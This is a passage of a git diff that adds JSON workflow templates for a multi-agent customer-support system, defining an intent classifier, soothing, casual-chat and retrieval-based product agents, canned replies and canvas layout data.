\n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Soothe Agent" + }, + "dragging": false, + "id": "Agent:PoorTaxesRescue", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 402.02090711979577, + "y": 363.3139199638186 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "This is an agent for handles product-related queries and can use the `Retrieval` tool.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role \n\nYou are a Product Information Advisor with access to the **Retrieval** tool.\n\n# Workflow \n\n1. Run **Retrieval** with a focused query from the user\u2019s question. \n\n2. Draft the reply **strictly** from the returned passages. \n\n3. If nothing relevant is retrieved, reply: \n\n \u201cI cannot find relevant documents in the knowledge base.\u201d\n\n# Rules \n\n- No assumptions, guesses, or extra\u2011KB knowledge. \n\n- Factual, concise. Use bullets / numbers when helpful. \n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "This is a product knowledge base", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Product Agent" + }, + "dragging": false, + "id": "Agent:SillyTurkeysRest", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 684.0042670887832, + "y": 317.79626670112515 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:CrazyShirtsKiss", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 659.7339736658578, + "y": 443.3638400568565 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:RottenRiversDo@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:PurpleCitiesSee", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 675.534293293706, + "y": 158.92309339708154 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This is a multi-agent system for intelligent customer service processing based on user intent classification. It uses the lead-agent to identify the type of user needs, assign tasks to sub-agents for processing, and finally the lead agent outputs the results." + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 140, + "id": "Note:MoodyTurtlesCount", + "measured": { + "height": 140, + "width": 385 + }, + "position": { + "x": -59.311679338397, + "y": -2.2203733298874866 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 385 + }, + { + "data": { + "form": { + "text": "Answers will be given strictly according to the content retrieved from the knowledge base." + }, + "label": "Note", + "name": "Product Agent " + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:ColdCoinsBathe", + "measured": { + "height": 136, + "width": 249 + }, + "position": { + "x": 994.4238924667025, + "y": 329.08949370720796 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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fmdI8MjuOLqqzG7tlbOWOHmr7sHkEkDT2ZolqtmkuSBPirj3IzHKN7zCZ8DNJxy88FFYx7Ssu2iFNdV1TWonTcfeXlRYpW5aGs6iBAVIt55rCBG+vbbezB9ehUplSPHLnKeyQNBX/Xmgw2w8PIrML2qEqOUD+5WrTSco0uTofYtbOENRtSRtr2JobH9lT0OT5olelB8jo+P4q6bb8ywP3phQWEB3tz3GVpONFPD0YF0QiFIgCC07fBe+baKihnYf2g/NfkR1JGCXNDkgFsYHkwwGvVQCPbR7OhS8lTt7DlynVKqHRJ/TEN1cV4n5lZkLa2e4nmaMNN5YfcvWul+NWvO8JdDWJ5IjOG3v/k1IcYFFE0pwcLLrkD7yWZikIUYo8LESRih/S3m/u3H9hNqVeLQJ4flBt/KlTcRmRshwYWc83D6WZQvPIo83d6GugX1uHTJUvmulOwPgELaFAxZqpdWfbTI2jeW3CgreR39ZTRaoWDwFXpyQ4oakPb2VrJON4ppXzdaOBVTiApwSJ0+RcLT9IG7qVQqQQkcosQcknYNU5y/8cbrKKVd+FU33kjznH45YoeOex6EHT1yGNU1Nfjyuq8R5wkj6ajdScH5RfHO8c+URDgahjVd4XsuiirDu/sWHpI2mnULLx1raz+1jlEgGi1EGVFd1jYQsCSkxaldZKRiiO2nOC8oLJZNSFnVDHK1gce//RjWrFmDWtr3jZF3HNvNOpt2HD+Tlrzl9j8jAFgkLZfiiivriONZVHnfVPAMj8X5iisyDMZzCyNn6g55+Qfbdj5BbtpwljhN6bQy2aica2/H1NJSSrBx2UHNm78Q/UR9R6j7mj2vDpsffZC2TC18Ze1aiuse6WY5JSBBjtNsn7eXvvSlWzGltFJ6QUaCcLmj4RE2EaA6QF7hWsBhJVFLQruRyUPODcVefLmJLZfMm7NRnr383nuFNCl8zzStBtWIC4LNPBJ+TE4aOOYZ83upgfnfp/9LxvOD3/lPNO//EGdamuVWUIg2Po42HZND39Wrb0ZN7VzZoHNFF5rjZG1cC+iiRclNz/L6rIAl1AAAWgnllczhKMRvNHJCyy6pqRnw7q1bd3thKhV6mBBgg0XbQx99/DFW37QKjZ98imFKytNnzmCUIHfDA/cTXM7A2TPnsO/X7+OKxVeijbx1obcLN6y8EfULGoiO8G6KOxpQ/8uCq0TW/9ShGxcWPECNPu9asjFMt9LD7QcMj63SsltEJPQwC++LrMxRTQep+DBxnYuHYyMNSUowhrVZc2qJvyRkbrB38goK0EzbTMuvX4a6+nrMmlevZ0K2ohtacMN9iQ4Nf4PuCseU3ApaEsaZjvCY3vB7TBhtVLhesU3n//+kru59v7y/A0gLPej8hyFRAAAAAElFTkSuQmCC" +} diff --git a/agent/templates/customer_support.json b/agent/templates/customer_support.json new file mode 100644 index 0000000..34280e0 --- /dev/null +++ b/agent/templates/customer_support.json @@ -0,0 +1,885 @@ + +{ + "id": 10, + "title": { + "en":"Customer Support", + "zh": "客户支持"}, + "description": { + "en": "This is an intelligent customer service processing system workflow based on user intent classification. It uses LLM to identify user demand types and transfers them to the corresponding professional agent for processing.", + "zh": "工作流系统，用于智能客服场景。基于用户意图分类。使用大模型识别用户需求类型，并将需求转移给相应的智能体进行处理。"}, + "canvas_type": "Customer Support", + "dsl": { + "components": { + "Agent:DullTownsHope": { + "downstream": [ + "Message:GreatDucksArgue" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Categorize:DullFriendsThank" + ] + }, + "Agent:KhakiSunsJudge": { + "downstream": [ + "Message:GreatDucksArgue" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}\n\nThe relevant document are {Retrieval:ShyPumasJoke@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "You are a highly professional product information advisor. \n\nYour only mission is to provide accurate, factual, and structured answers to all product-related queries.\n\nAbsolutely no assumptions, guesses, or fabricated content are allowed. \n\n**Key Principles:**\n\n1. **Strict Database Reliance:** \n\n - Every answer must be based solely on the verified product information stored in the relevant documen.\n\n - You are NOT allowed to invent, speculate, or infer details beyond what is retrieved. \n\n - If you cannot find relevant data, respond with: *\"I cannot find this information in our official product database. Please check back later or provide more details for further search.\"*\n\n2. **Information Accuracy and Structure:** \n\n - Provide information in a clear, concise, and professional way. \n\n - Use bullet points or numbered lists if there are multiple key points (e.g., features, price, warranty, technical specifications). \n\n - Always specify the version or model number when applicable to avoid confusion.\n\n3. **Tone and Style:** \n\n - Maintain a polite, professional, and helpful tone at all times. \n\n - Avoid marketing exaggeration or promotional language; stay strictly factual. \n\n - Do not express personal opinions; only cite official product data.\n\n4. **User Guidance:** \n\n - If the user\u2019s query is unclear or too broad, politely request clarification or guide them to provide more specific product details (e.g., product name, model, version). \n\n - Example: *\"Could you please specify the product model or category so I can retrieve the most relevant information for you?\"*\n\n5. **Response Length and Formatting:** \n\n - Keep each answer within 100\u2013150 words for general queries. \n\n - For complex or multi-step explanations, you may extend to 200\u2013250 words, but always remain clear and well-structured.\n\n6. **Critical Reminder:** \n\nYour authority and reliability depend entirely on the relevant document responses. Any fabricated, speculative, or unverified content will be considered a critical failure of your role.\n\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Retrieval:ShyPumasJoke" + ] + }, + "Agent:TwelveOwlsWatch": { + "downstream": [ + "Message:GreatDucksArgue" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Categorize:DullFriendsThank" + ] + }, + "Categorize:DullFriendsThank": { + "downstream": [ + "Message:BreezyDonutsHeal", + "Agent:TwelveOwlsWatch", + "Agent:DullTownsHope", + "Retrieval:ShyPumasJoke" + ], + "obj": { + "component_name": "Categorize", + "params": { + "category_description": { + "1. contact": { + "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.", + "examples": [ + "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384\n13212123432\n8379829" + ], + "to": [ + "Message:BreezyDonutsHeal" + ] + }, + "2. casual": { + "description": "The question is not about the product usage, appearance and how it works. Just casual chat.", + "examples": [ + "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?" + ], + "to": [ + "Agent:TwelveOwlsWatch" + ] + }, + "3. complain": { + "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.", + "examples": [ + "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore." + ], + "to": [ + "Agent:DullTownsHope" + ] + }, + "4. product related": { + "description": "The question is about the product usage, appearance and how it works.", + "examples": [ + "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch" + ], + "to": [ + "Retrieval:ShyPumasJoke" + ] + } + }, + "llm_id": "deepseek-chat@DeepSeek", + "message_history_window_size": 1, + "outputs": { + "category_name": { + "type": "string" + } + }, + "query": "sys.query", + "temperature": "0.1" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:BreezyDonutsHeal": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "Okay, I've already write this down. What else I can do for you?", + "Get it. What else I can do for you?", + "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?", + "Thanks! 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I'm an official AI customer service representative. How can I help you?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Categorize:DullFriendsThankend", + "source": "begin", + "sourceHandle": "start", + "target": "Categorize:DullFriendsThank", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:DullFriendsThanke4d754a5-a33e-4096-8648-8688e5474a15-Message:BreezyDonutsHealend", + "source": "Categorize:DullFriendsThank", + "sourceHandle": "e4d754a5-a33e-4096-8648-8688e5474a15", + "target": "Message:BreezyDonutsHeal", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:DullFriendsThank8cbf6ea3-a176-490d-9f8c-86373c932583-Agent:TwelveOwlsWatchend", + "source": "Categorize:DullFriendsThank", + "sourceHandle": "8cbf6ea3-a176-490d-9f8c-86373c932583", + "target": "Agent:TwelveOwlsWatch", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:DullFriendsThankacc40a78-1b9e-4d2f-b5d6-64e01ab69269-Agent:DullTownsHopeend", + "source": "Categorize:DullFriendsThank", + "sourceHandle": "acc40a78-1b9e-4d2f-b5d6-64e01ab69269", + "target": "Agent:DullTownsHope", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:DullFriendsThankdfa5eead-9341-4f22-9236-068dbfb745e8-Retrieval:ShyPumasJokeend", + "source": "Categorize:DullFriendsThank", + "sourceHandle": "dfa5eead-9341-4f22-9236-068dbfb745e8", + "target": "Retrieval:ShyPumasJoke", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:ShyPumasJokestart-Agent:KhakiSunsJudgeend", + "source": "Retrieval:ShyPumasJoke", + "sourceHandle": "start", + "target": "Agent:KhakiSunsJudge", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:TwelveOwlsWatchstart-Message:GreatDucksArgueend", + "source": "Agent:TwelveOwlsWatch", + "sourceHandle": "start", + "target": "Message:GreatDucksArgue", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:DullTownsHopestart-Message:GreatDucksArgueend", + "markerEnd": "logo", + "source": "Agent:DullTownsHope", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:GreatDucksArgue", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:KhakiSunsJudgestart-Message:GreatDucksArgueend", + "markerEnd": "logo", + "source": "Agent:KhakiSunsJudge", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:GreatDucksArgue", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm an official AI customer service representative. How can I help you?" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "items": [ + { + "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.", + "examples": [ + { + "value": "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384\n13212123432\n8379829" + } + ], + "name": "1. contact", + "uuid": "e4d754a5-a33e-4096-8648-8688e5474a15" + }, + { + "description": "The question is not about the product usage, appearance and how it works. Just casual chat.", + "examples": [ + { + "value": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?" + } + ], + "name": "2. casual", + "uuid": "8cbf6ea3-a176-490d-9f8c-86373c932583" + }, + { + "description": "Complain even curse about the product or service you provide. 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What else I can do for you?", + "Get it. What else I can do for you?", + "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?", + "Thanks! So, anything else I can do for you?" + ] + }, + "label": "Message", + "name": "What else?" + }, + "dragging": false, + "id": "Message:BreezyDonutsHeal", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 724.8348409169271, + "y": 60.09138437270154 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Causal chat" + }, + "dragging": false, + "id": "Agent:TwelveOwlsWatch", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 720.4965892695689, + "y": 167.46311264481432 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Soothe mood" + }, + "dragging": false, + "id": "Agent:DullTownsHope", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 722.665715093248, + "y": 281.3422183879642 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "sys.query", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Search product info" + }, + "dragging": false, + "id": "Retrieval:ShyPumasJoke", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 645.6873721057459, + "y": 516.6923702571407 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}\n\nThe relevant document are {Retrieval:ShyPumasJoke@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "You are a highly professional product information advisor. \n\nYour only mission is to provide accurate, factual, and structured answers to all product-related queries.\n\nAbsolutely no assumptions, guesses, or fabricated content are allowed. \n\n**Key Principles:**\n\n1. **Strict Database Reliance:** \n\n - Every answer must be based solely on the verified product information stored in the relevant documen.\n\n - You are NOT allowed to invent, speculate, or infer details beyond what is retrieved. \n\n - If you cannot find relevant data, respond with: *\"I cannot find this information in our official product database. Please check back later or provide more details for further search.\"*\n\n2. **Information Accuracy and Structure:** \n\n - Provide information in a clear, concise, and professional way. \n\n - Use bullet points or numbered lists if there are multiple key points (e.g., features, price, warranty, technical specifications). \n\n - Always specify the version or model number when applicable to avoid confusion.\n\n3. **Tone and Style:** \n\n - Maintain a polite, professional, and helpful tone at all times. \n\n - Avoid marketing exaggeration or promotional language; stay strictly factual. \n\n - Do not express personal opinions; only cite official product data.\n\n4. **User Guidance:** \n\n - If the user\u2019s query is unclear or too broad, politely request clarification or guide them to provide more specific product details (e.g., product name, model, version). \n\n - Example: *\"Could you please specify the product model or category so I can retrieve the most relevant information for you?\"*\n\n5. **Response Length and Formatting:** \n\n - Keep each answer within 100\u2013150 words for general queries. \n\n - For complex or multi-step explanations, you may extend to 200\u2013250 words, but always remain clear and well-structured.\n\n6. **Critical Reminder:** \n\nYour authority and reliability depend entirely on the relevant document responses. Any fabricated, speculative, or unverified content will be considered a critical failure of your role.\n\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Product info" + }, + "dragging": false, + "id": "Agent:KhakiSunsJudge", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 726.580040161058, + "y": 386.5448208363979 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:TwelveOwlsWatch@content}{Agent:DullTownsHope@content}{Agent:KhakiSunsJudge@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:GreatDucksArgue", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1073.6401719497055, + "y": 279.1730925642852 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This is an intelligent customer service processing system workflow based on user intent classification. It uses LLM to identify user demand types and transfers them to the corresponding professional agent for processing." + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 171, + "id": "Note:AllGuestsShow", + "measured": { + "height": 171, + "width": 380 + }, + "position": { + "x": -283.6407251474677, + "y": 157.2943019466498 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 380 + }, + { + "data": { + "form": { + "text": "Here, product document snippets related to the user's question will be retrieved from the knowledge base first, and the relevant document snippets will be passed to the LLM together with the user's question." + }, + "label": "Note", + "name": "Product info Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 154, + "id": "Note:IcyBooksCough", + "measured": { + "height": 154, + "width": 370 + }, + "position": { + "x": 1014.0959071234828, + "y": 492.830874176321 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 370 + }, + { + "data": { + "form": { + "text": "Here, a text will be randomly selected for answering" + }, + "label": "Note", + "name": "What else\uff1f" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:AllThingsHide", + "measured": { + "height": 136, + "width": 249 + }, + "position": { + "x": 770.7060131788647, + "y": -123.23496705283817 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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fmdI8MjuOLqqzG7tlbOWOHmr7sHkEkDT2ZolqtmkuSBPirj3IzHKN7zCZ8DNJxy88FFYx7Ssu2iFNdV1TWonTcfeXlRYpW5aGs6iBAVIt55rCBG+vbbezB9ehUplSPHLnKeyQNBX/Xmgw2w8PIrML2qEqOUD+5WrTSco0uTofYtbOENRtSRtr2JobH9lT0OT5olelB8jo+P4q6bb8ywP3phQWEB3tz3GVpONFPD0YF0QiFIgCC07fBe+baKihnYf2g/NfkR1JGCXNDkgFsYHkwwGvVQCPbR7OhS8lTt7DlynVKqHRJ/TEN1cV4n5lZkLa2e4nmaMNN5YfcvWul+NWvO8JdDWJ5IjOG3v/k1IcYFFE0pwcLLrkD7yWZikIUYo8LESRih/S3m/u3H9hNqVeLQJ4flBt/KlTcRmRshwYWc83D6WZQvPIo83d6GugX1uHTJUvmulOwPgELaFAxZqpdWfbTI2jeW3CgreR39ZTRaoWDwFXpyQ4oakPb2VrJON4ppXzdaOBVTiApwSJ0+RcLT9IG7qVQqQQkcosQcknYNU5y/8cbrKKVd+FU33kjznH45YoeOex6EHT1yGNU1Nfjyuq8R5wkj6ajdScH5RfHO8c+URDgahjVd4XsuiirDu/sWHpI2mnULLx1raz+1jlEgGi1EGVFd1jYQsCSkxaldZKRiiO2nOC8oLJZNSFnVDHK1gce//RjWrFmDWtr3jZF3HNvNOpt2HD+Tlrzl9j8jAFgkLZfiiivriONZVHnfVPAMj8X5iisyDMZzCyNn6g55+Qfbdj5BbtpwljhN6bQy2aica2/H1NJSSrBx2UHNm78Q/UR9R6j7mj2vDpsffZC2TC18Ze1aiuse6WY5JSBBjtNsn7eXvvSlWzGltFJ6QUaCcLmj4RE2EaA6QF7hWsBhJVFLQruRyUPODcVefLmJLZfMm7NRnr383nuFNCl8zzStBtWIC4LNPBJ+TE4aOOYZ83upgfnfp/9LxvOD3/lPNO//EGdamuVWUIg2Po42HZND39Wrb0ZN7VzZoHNFF5rjZG1cC+iiRclNz/L6rIAl1AAAWgnllczhKMRvNHJCyy6pqRnw7q1bd3thKhV6mBBgg0XbQx99/DFW37QKjZ98imFKytNnzmCUIHfDA/cTXM7A2TPnsO/X7+OKxVeijbx1obcLN6y8EfULGoiO8G6KOxpQ/8uCq0TW/9ShGxcWPECNPu9asjFMt9LD7QcMj63SsltEJPQwC++LrMxRTQep+DBxnYuHYyMNSUowhrVZc2qJvyRkbrB38goK0EzbTMuvX4a6+nrMmlevZ0K2ohtacMN9iQ4Nf4PuCseU3ApaEsaZjvCY3vB7TBhtVLhesU3n//+kru59v7y/A0gLPej8hyFRAAAAAElFTkSuQmCC" +} + diff --git a/agent/templates/cv_analysis_and_candidate_evaluation.json b/agent/templates/cv_analysis_and_candidate_evaluation.json new file mode 100644 index 0000000..ad5d5ad --- /dev/null +++ b/agent/templates/cv_analysis_and_candidate_evaluation.json @@ -0,0 +1,427 @@ + +{ + "id": 15, + "title": { + "en": "CV Analysis and Candidate Evaluation", + "zh": "简历分析和候选人评估"}, + "description": { 